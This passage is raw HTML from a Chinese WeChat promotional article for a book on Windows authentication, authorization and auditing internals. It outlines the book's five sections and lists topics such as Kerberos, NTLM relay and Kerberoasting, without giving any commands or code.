0px;max-width: 100%;box-sizing: border-box;visibility: visible;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">身份验证、授权、审计（AAA）</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">是 Windows 安全的三道核心防线。如果只停留在表层操作，缺失底层原理认知，再昂贵的安全设备也无法真正抵御高级威胁。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">绝大多数运维、开发、安全从业者受限于 Windows </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">闭源+面向 API </span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">的架构特性，难以深入探究系统本质，面对域渗透、凭据窃取、权限失控、审计失效等问题常常束手无策。</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">《Windows 安全内幕：身份验证、授权与审计（AAA）核心技术详解》</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">专为破解这一行业痛点打造，以底层原理为根基、PowerShell 实战为抓手，帮助从业者吃透 Windows 安全核心机制，从根源规避同类安全事故。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本书并非零散的操作技巧合集，是国际顶尖安全专家打造的 </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Windows AAA 体系权威实战指南</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">。全书基于 Windows 10、Windows Server 2016 及以上主流稳定版本编写，搭配 PowerShell 与 NTObjectManager 模块共计 </span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">550 余条专用命令</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">，按照</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">认知梳理→架构思想→底层剖析→项目实战→行业展望</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">五大阶梯式板块编排，兼顾理论深度与落地能力，全方位补齐 Windows 安全技术短板。</span></p></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: center;line-height: 0;width: 661px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;display: inline-block;line-height: 0;overflow-wrap: break-word !important;"><img alt="Image" class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.6437291897891232" data-s="300,640" data-type="png" data-w="901" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 661px !important;visibility: visible !important;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=954247e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjbK5xPfic2R27If5Bgn6w15nKok6RWCmR44V5vQHfMgoyIiaMSUeaBH9IHY0BCeFelOWGtCjyKcE0xaFTicsRHK1GLqRq2Qf4elFvicnRH299pE%2F640%3Fwx_fmt%3Dpng%26tp%3Dwxpic%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D1"/></p></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;text-align: center;color: rgb(88, 88, 88);width: 661px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">▼</span></span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(160, 160, 160);overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击下方，即可购书</span></span></p></div></div><div class="mp_common_product_iframe_wrp"><div class="custom_select_card_wrp"><p class="custom_select_card_wrp"><mp-common-product data-cardtype="1" data-windowproduct="v2=HP3j9jm8xDxD-t4ANgqxo_KOxgV2JpjZColvhog61Pyty6NQOWcjjueVr4GFR8Pm7oA2Y_DhaiVk9g" data-title="Windows安全内幕：身份验证、授权与审计（AAA）核心技术详解 PowerShell 红队攻防 渗透测试" data-type="1" class="custom_select_card mp_product_iframe mp_common_widget" data-immutable="1" data-req-scene="2"></mp-common-product></p></div></div><div style="margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">（一）五大学习板块，循序渐进搭建完整安全知识体系</span></strong></p></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">● </span></span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">认知梳理</span></strong></p></div><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">破除“只会图形操作、不懂底层逻辑”的普遍误区，解析 Windows 面向 API 的核心架构，区分常规运维与企业域级防护的差异，梳理安全体系演进路线，帮助读者建立系统化认知，快速识别日常运维中的潜在风险。</span></p><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">● </span></span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">架构思想</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">深度解读安全引用监视器、多级权限防御、全链路审计等顶层设计，拆解工业级安全架构思路，树立</span><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">安全、合规、可控</span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">的设计思维，从架构源头规避权限越权、防御缺位等问题。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">● </span></span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">底层剖析（全书硬核内容）</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">逐模块拆解访问令牌、安全描述符、SDDL、SAM 数据库等核心组件，深挖交互式身份验证、NTLM、Kerberos、协商协议等主流认证机制，完整还原凭据存储、权限校验、访问检查的底层细节，彻底看懂攻击者渗透、提权、窃取凭据的全链路技术手法。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">● </span></span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">项目实战</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">手把手搭建 PowerShell 测试环境与 Windows 域网络仿真环境，无需额外硬件即可开展实验。覆盖单机安全加固、服务器集群防护、大型域环境运维三大场景，结合 NTLM 中继、Kerberoasting、域渗透等典型攻防案例，讲解漏洞排查、入侵溯源、安全重构、应急响应等落地方法，把理论转化为实战防御能力。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;strong&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">● </span></span></strong></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">行业展望</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结合 Windows 版本迭代与全球网络攻防态势，分析零日漏洞防御、跨域安全、终端安全联动等前沿方向，帮助从业者把握技术风口，规划长期技能升级路线。</span></p></div><div style="margin: 10px 0px;padding: 0px 15px;outline: 0px;max-width: 100%;box-sizing: border-box;text-align: left;justify-content: flex-start;display: flex;flex-flow: row;width: 661px;border-width: 0px 0px 0px 4px;border-radius: 0px 10px 10px 0px;border-style: none none none solid;border-color: rgb(62, 62, 62) rgb(62, 62, 62) rgb(62, 62, 62) rgb(14, 172, 157);background-color: rgb(255, 255, 255);align-self: flex-start;overflow-wrap: break-word !important;"><div style="margin: 0px;padding: 0px 8px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);line-height: 1.8;letter-spacing: 1px;width: 627px;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">（二）四大核心优势，区别于普通入门读物</span></strong></p></div></div><div style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">● </span></span><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">经典蓝本，长期复用</span></strong></span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于主流 Windows 稳定版本创作，系统核心安全架构多年未发生颠覆性变更，不受小版本迭代影响，是市面稀缺的 Windows 底层安全深度工具书，适合企业团队长期查阅使用。</span></p><p style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;clear: both;min-height: 1em;white-space: normal;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(14, 172, 157);overflow-wrap: break-word !important;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;font-size: 12px;overflow-wrap: break-word !important;"><span leaf="" style="margin: 0px;padding: 0px;outline: 0px;max-width: 